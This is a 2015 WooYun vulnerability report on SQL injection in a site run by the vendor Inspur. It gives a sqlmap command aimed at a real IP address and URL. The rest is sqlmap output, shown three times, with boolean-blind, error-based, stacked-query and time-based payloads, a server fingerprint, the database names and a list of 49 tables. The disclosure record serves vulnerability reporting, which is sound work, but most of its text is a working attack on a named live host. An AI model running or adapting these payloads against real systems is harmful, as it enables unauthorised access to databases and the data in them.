当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0129575

漏洞标题：浪潮某站SQL注入库8286个表信息

相关厂商：浪潮

漏洞作者： 路人甲

提交时间：2015-07-27 08:48

修复时间：2015-08-01 08:50

公开时间：2015-08-01 08:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-27： 细节已通知厂商并且等待厂商处理中
2015-08-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

sqlmap.py -u "http://218.57.146.178/cwbase/BIAppCenter/BIModel/BIModelDetail.aspx?ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0&BIVersion=BI6.0&DBType=0%20%20&Version=1.0"


1.jpg


2.jpg


3.jpg


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' AND 6791=6791 AND 'LTkD'='LTkD&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' AND 5056=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5056=5056) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(98)+CHAR(112)+CHAR(113))) AND 'wVXW'='wVXW&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0';WAITFOR DELAY '0:0:5'--&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' WAITFOR DELAY '0:0:5'--&BIVersion=BI6.0&DBType=0  &Version=1.0
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2012
current database:    'cwbasedemo'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' AND 6791=6791 AND 'LTkD'='LTkD&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' AND 5056=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5056=5056) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(98)+CHAR(112)+CHAR(113))) AND 'wVXW'='wVXW&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0';WAITFOR DELAY '0:0:5'--&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' WAITFOR DELAY '0:0:5'--&BIVersion=BI6.0&DBType=0  &Version=1.0
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2012
Database: cwbasedemo
[49 tables]
+------------------------+
| Dim_FX_Fit             |
| Employees              |
| BIZBTY-TEST            |
| aa                     |
| aaa_test               |
| aaa_test_1             |
| b123                   |
| cxxsybb_cypm_dyHKdc    |
| cxxsybb_cypm_dyHKdcJG  |
| cxxsybb_cypm_dyHKzz    |
| cxxsybb_cypm_dyHKzzjg  |
| cxxsybb_cypm_dyhkzb    |
| cxxsybb_cypm_dyhkzb1   |
| cxxsybb_cypm_dyhkzbjg  |
| cxxsybb_cypm_dymldc    |
| cxxsybb_cypm_dymldcJG  |
| cxxsybb_cypm_dymlzb    |
| cxxsybb_cypm_dymlzb1   |
| cxxsybb_cypm_dymlzbjg  |
| cxxsybb_cypm_dymlzz    |
| cxxsybb_cypm_dymlzzjg  |
| cxxsybb_cypm_dyqddc    |
| cxxsybb_cypm_dyqddcJG  |
| cxxsybb_cypm_dyqdzb    |
| cxxsybb_cypm_dyqdzb1   |
| cxxsybb_cypm_dyqdzbjg  |
| cxxsybb_cypm_dyqdzz    |
| cxxsybb_cypm_dyqdzzjg  |
| cxxsybb_cyzb           |
| cxxsybb_cyzb_hkml      |
| cxxsybb_cyzb_qde       |
| cxxsybb_dwybp          |
| cxxsybb_lbybp          |
| cxxsybbcyjb            |
| cxxsybbcyjb_lcjt       |
| cxxsybbcyjb_mem        |
| cxxsybbyd_hk_dw        |
| cxxsybbyd_hk_lb        |
| cxxsybbyd_hkml_dw      |
| cxxsybbyd_hkml_lb      |
| cxxsybbyd_jb_lb        |
| cxxsybbyd_jb_lb_lc     |
| cxxsybbyd_jb_lb_lcjt   |
| cxxsybbyd_jb_lb_lcjt_g |
| cxxsybbyd_qd_dw        |
| cxxsybbyd_qd_lb        |
| cyfd                   |
| fenggou                |
| huikuan                |
+------------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: ID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' AND 6791=6791 AND 'LTkD'='LTkD&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' AND 5056=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5056=5056) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(98)+CHAR(112)+CHAR(113))) AND 'wVXW'='wVXW&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0';WAITFOR DELAY '0:0:5'--&BIVersion=BI6.0&DBType=0  &Version=1.0
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (comment)
    Payload: ID=ff08e987-c1cb-4de8-b48a-5476cee5a0c0' WAITFOR DELAY '0:0:5'--&BIVersion=BI6.0&DBType=0  &Version=1.0
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2012
available databases [7]:
[*] cwbasedemo
[*] master
[*] model
[*] msdb
[*] ReportServer$MSSQLSERVER2014
[*] ReportServer$MSSQLSERVER2014TempDB
[*] tempdb

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-08-01 08:50

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无